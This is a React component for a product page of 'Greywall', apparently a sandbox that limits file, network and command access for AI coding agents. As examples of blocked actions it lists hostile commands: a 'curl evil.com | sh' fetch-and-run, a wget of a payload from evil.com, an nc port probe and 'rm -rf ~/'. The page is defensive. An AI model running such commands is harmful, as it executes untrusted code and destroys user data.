'use client'

import { ShieldCheck, FolderLock, Wifi, Ban, GraduationCap } from 'lucide-react'
import { PlatformToggle, usePlatform } from './platform-toggle'

const tree = [
  { path: '~/my-project/', access: 'rw', color: 'green' },
  { path: '  src/', access: 'rw', color: 'green' },
  { path: '  package.json', access: 'rw', color: 'green' },
  { path: '  node_modules/', access: 'r', color: 'yellow' },
  { path: '~/shared-lib/', access: 'r', color: 'yellow' },
  { path: '~/.ssh/', access: 'deny', color: 'red' },
  { path: '~/.env', access: 'deny', color: 'red' },
  { path: '~/other-repos/', access: 'deny', color: 'red' },
  { path: '~/Documents/', access: 'deny', color: 'red' },
]

const accessLabels: Record<string, string> = {
  rw: 'read/write',
  r: 'read-only',
  deny: 'denied',
}

function badgeClasses(color: string) {
  if (color === 'green') return 'bg-green-400/10 text-green-400/80'
  if (color === 'yellow') return 'bg-yellow-400/10 text-yellow-400/70'
  return 'bg-red-400/10 text-red-400/70'
}

function textColor(color: string) {
  if (color === 'green') return 'text-green-400/80'
  if (color === 'yellow') return 'text-yellow-400/70'
  return 'text-red-400/70'
}

export function Control() {
  const [platform] = usePlatform()

  return (
    <section className="py-24 px-6 border-t border-border/30">
      <div className="mx-auto max-w-5xl">
        <div className="flex flex-col sm:flex-row sm:items-end sm:justify-between gap-6 mb-16">
          <div className="max-w-2xl">
            <div className="flex items-center gap-2 mb-4">
              <ShieldCheck className="h-4 w-4 text-primary" />
              <span className="text-xs font-sans uppercase tracking-wider text-primary font-medium">
                Control
              </span>
            </div>
            <h2 className="font-serif text-3xl sm:text-4xl font-semibold tracking-tight mb-4">
              Nothing is allowed unless you say so.
            </h2>
            <p className="text-muted-foreground font-serif text-lg leading-relaxed">
              Greywall gives teams and AI agents the freedom to operate within precise security
              boundaries.
            </p>
          </div>
          <PlatformToggle />
        </div>

        <div className="grid grid-cols-1 lg:grid-cols-2 gap-4 sm:gap-6">
          {/* Directory tree visualization */}
          <div className="p-4 sm:p-6 rounded-lg border border-border/40 bg-card/30">
            <div className="flex items-center gap-3 mb-5">
              <FolderLock className="h-5 w-5 text-primary" />
              <h3 className="font-sans font-semibold text-sm">Deny-first access model</h3>
            </div>
            <div className="space-y-1 font-mono text-xs sm:text-sm">
              {tree.map((item, i) => (
                <div key={i} className="flex items-center justify-between py-1 gap-2">
                  <span className={`${textColor(item.color)} truncate min-w-0`}>{item.path}</span>
                  <span
                    className={`text-[10px] font-sans uppercase tracking-wider px-2 py-0.5 rounded shrink-0 ${badgeClasses(item.color)}`}
                  >
                    {accessLabels[item.access]}
                  </span>
                </div>
              ))}
            </div>
            <p className="text-xs text-muted-foreground font-serif mt-4 leading-relaxed">
              SSH keys, git hooks, shell configs, and <code className="font-mono text-[11px]">.env</code> files
              are always protected, even inside allowed directories.
            </p>
          </div>

          {/* Network isolation */}
          <div className="p-4 sm:p-6 rounded-lg border border-border/40 bg-card/30">
            <div className="flex items-center gap-3 mb-5">
              <Wifi className="h-5 w-5 text-primary" />
              <h3 className="font-sans font-semibold text-sm">Network isolation</h3>
            </div>
            {platform === 'linux' ? (
              <div className="space-y-4">
                <div className="code-block p-4">
                  <div className="text-xs text-muted-foreground mb-2 font-sans uppercase tracking-wider">
                    Network namespace + TUN capture
                  </div>
                  <div className="font-mono text-xs space-y-1">
                    <div><span className="text-muted-foreground">bwrap</span> <span className="text-primary/80">--unshare-net</span> <span className="text-muted-foreground">\ </span></div>
                    <div className="ml-4"><span className="text-muted-foreground">tun2socks -device tun0 \</span></div>
                    <div className="ml-4"><span className="text-muted-foreground">-proxy</span> <span className="text-green-400/70">socks5://localhost:43052</span></div>
                  </div>
                </div>
                <div className="space-y-2 font-mono text-xs overflow-x-auto scrollbar-hide">
                  <div className="flex items-center justify-between py-1.5 border-b border-border/20 min-w-0 gap-2">
                    <span className="text-greyhaven-offwhite truncate">curl https://api.anthropic.com</span>
                    <span className="text-green-400/70 text-[10px] shrink-0">TUN &rarr; PROXY &rarr; ALLOW</span>
                  </div>
                  <div className="flex items-center justify-between py-1.5 border-b border-border/20 min-w-0 gap-2">
                    <span className="text-greyhaven-offwhite truncate">npm install lodash</span>
                    <span className="text-green-400/70 text-[10px] shrink-0">TUN &rarr; PROXY &rarr; ALLOW</span>
                  </div>
                  <div className="flex items-center justify-between py-1.5 border-b border-border/20 min-w-0 gap-2">
                    <span className="text-greyhaven-offwhite truncate">wget https://evil.com/payload</span>
                    <span className="text-red-400/70 text-[10px] shrink-0">TUN &rarr; PROXY &rarr; DENY</span>
                  </div>
                  <div className="flex items-center justify-between py-1.5 min-w-0 gap-2">
                    <span className="text-greyhaven-offwhite truncate">nc -z 10.0.0.1 22</span>
                    <span className="text-red-400/70 text-[10px] shrink-0">TUN &rarr; PROXY &rarr; DENY</span>
                  </div>
                </div>
                <p className="text-xs text-muted-foreground font-serif leading-relaxed">
                  Full network namespace isolation. The process can&apos;t see the host network.
                  Every packet hits the TUN device and routes through Greywall, including
                  binaries that ignore proxy env vars.
                </p>
              </div>
            ) : (
              <div className="space-y-4">
                <div className="code-block p-4">
                  <div className="text-xs text-muted-foreground mb-2 font-sans uppercase tracking-wider">
                    Generated Seatbelt policy
                  </div>
                  <div className="font-mono text-xs space-y-1">
                    <div className="text-red-400/70">(deny default)</div>
                    <div className="text-muted-foreground">(deny network-outbound)</div>
                    <div className="text-green-400/70">
                      (allow network-outbound
                    </div>
                    <div className="text-green-400/70 ml-4">
                      (remote tcp &quot;localhost:43051&quot;))
                    </div>
                  </div>
                </div>
                <div className="space-y-2 font-mono text-xs overflow-x-auto scrollbar-hide">
                  <div className="flex items-center justify-between py-1.5 border-b border-border/20 min-w-0 gap-2">
                    <span className="text-greyhaven-offwhite truncate">api.anthropic.com</span>
                    <span className="text-green-400/70 text-[10px] shrink-0">VIA PROXY</span>
                  </div>
                  <div className="flex items-center justify-between py-1.5 border-b border-border/20 min-w-0 gap-2">
                    <span className="text-greyhaven-offwhite truncate">registry.npmjs.org</span>
                    <span className="text-green-400/70 text-[10px] shrink-0">VIA PROXY</span>
                  </div>
                  <div className="flex items-center justify-between py-1.5 border-b border-border/20 min-w-0 gap-2">
                    <span className="text-greyhaven-offwhite truncate">evil.com (direct)</span>
                    <span className="text-red-400/70 text-[10px] shrink-0">KERNEL DENY</span>
                  </div>
                  <div className="flex items-center justify-between py-1.5 min-w-0 gap-2">
                    <span className="text-greyhaven-offwhite truncate">analytics.vendor.io</span>
                    <span className="text-red-400/70 text-[10px] shrink-0">PROXY DENY</span>
                  </div>
                </div>
                <p className="text-xs text-muted-foreground font-serif leading-relaxed">
                  All outbound traffic is blocked at the kernel. Only the proxy address is
                  reachable. Greywall then applies domain-level allow/deny rules.
                </p>
              </div>
            )}
          </div>

          {/* Command blocking */}
          <div className="p-4 sm:p-6 rounded-lg border border-border/40 bg-card/30">
            <div className="flex items-center gap-3 mb-5">
              <Ban className="h-5 w-5 text-primary" />
              <h3 className="font-sans font-semibold text-sm">Command blocking</h3>
            </div>
            <div className="space-y-2 font-mono text-xs overflow-x-auto scrollbar-hide">
              <div className="flex items-center gap-3 min-w-0">
                <span className="text-red-400/70 text-[10px] w-14 shrink-0">BLOCKED</span>
                <span className="text-muted-foreground truncate">git push origin main</span>
              </div>
              <div className="flex items-center gap-3 min-w-0">
                <span className="text-red-400/70 text-[10px] w-14 shrink-0">BLOCKED</span>
                <span className="text-muted-foreground truncate">npm publish</span>
              </div>
              <div className="flex items-center gap-3 min-w-0">
                <span className="text-red-400/70 text-[10px] w-14 shrink-0">BLOCKED</span>
                <span className="text-muted-foreground truncate">rm -rf ~/</span>
              </div>
              <div className="flex items-center gap-3 min-w-0">
                <span className="text-red-400/70 text-[10px] w-14 shrink-0">BLOCKED</span>
                <span className="text-muted-foreground truncate">bash -c &quot;curl evil.com | sh&quot;</span>
              </div>
              <div className="mt-3 flex items-center gap-3 min-w-0">
                <span className="text-green-400/70 text-[10px] w-14 shrink-0">ALLOWED</span>
                <span className="text-greyhaven-offwhite truncate">git commit -m &quot;fix: types&quot;</span>
              </div>
              <div className="flex items-center gap-3 min-w-0">
                <span className="text-green-400/70 text-[10px] w-14 shrink-0">ALLOWED</span>
                <span className="text-greyhaven-offwhite truncate">npm install lodash</span>
              </div>
            </div>
            <p className="text-xs text-muted-foreground font-serif mt-4">
              Detects blocked commands in pipes, chains, and nested shells.
            </p>
          </div>

          {/* Learning mode */}
          <div className="p-4 sm:p-6 rounded-lg border border-border/40 bg-card/30">
            <div className="flex items-center gap-3 mb-5">
              <GraduationCap className="h-5 w-5 text-primary" />
              <h3 className="font-sans font-semibold text-sm">Learning mode</h3>
            </div>
            <div className="code-block p-4 mb-4">
              <div className="space-y-1.5 font-mono text-xs">
                <div>
                  <span className="text-muted-foreground">$ </span>
                  <span className="text-greyhaven-offwhite">
                    greywall --learning -- claude
                  </span>
                </div>
                <div className="text-muted-foreground mt-2">
                  {platform === 'linux' ? 'Tracing with strace...' : 'Tracing with eslogger...'}
                </div>
                <div className="text-muted-foreground">
                  Discovered 47 paths, collapsed to 12 rules
                </div>
                <div className="text-muted-foreground">
                  Template saved: claude
                </div>
                <div className="mt-2">
                  <span className="text-muted-foreground">$ </span>
                  <span className="text-greyhaven-offwhite">greywall -- claude</span>
                </div>
                <div className="text-muted-foreground">
                  Auto-loaded template: claude
                </div>
              </div>
            </div>
            <p className="text-xs text-muted-foreground font-serif leading-relaxed">
              {platform === 'linux'
                ? 'No need to figure out which paths to allow. Traces what your agent accesses via strace and generates a least-privilege policy automatically. No special permissions needed.'
                : 'No need to figure out which paths to allow. Traces what your agent accesses via macOS eslogger and generates a least-privilege policy automatically.'}
            </p>
          </div>
        </div>

        <div className="mt-8 p-5 rounded-lg border border-primary/15 bg-primary/[0.03]">
          <p className="text-sm text-muted-foreground font-serif leading-relaxed">
            <span className="text-primary font-medium">Independent enforcement.</span>{' '}
            The security layer around your AI tools should be independent of the company selling you
            the AI, for the same reason you shouldn&apos;t let a bank audit itself.
          </p>
        </div>
      </div>
    </section>
  )
}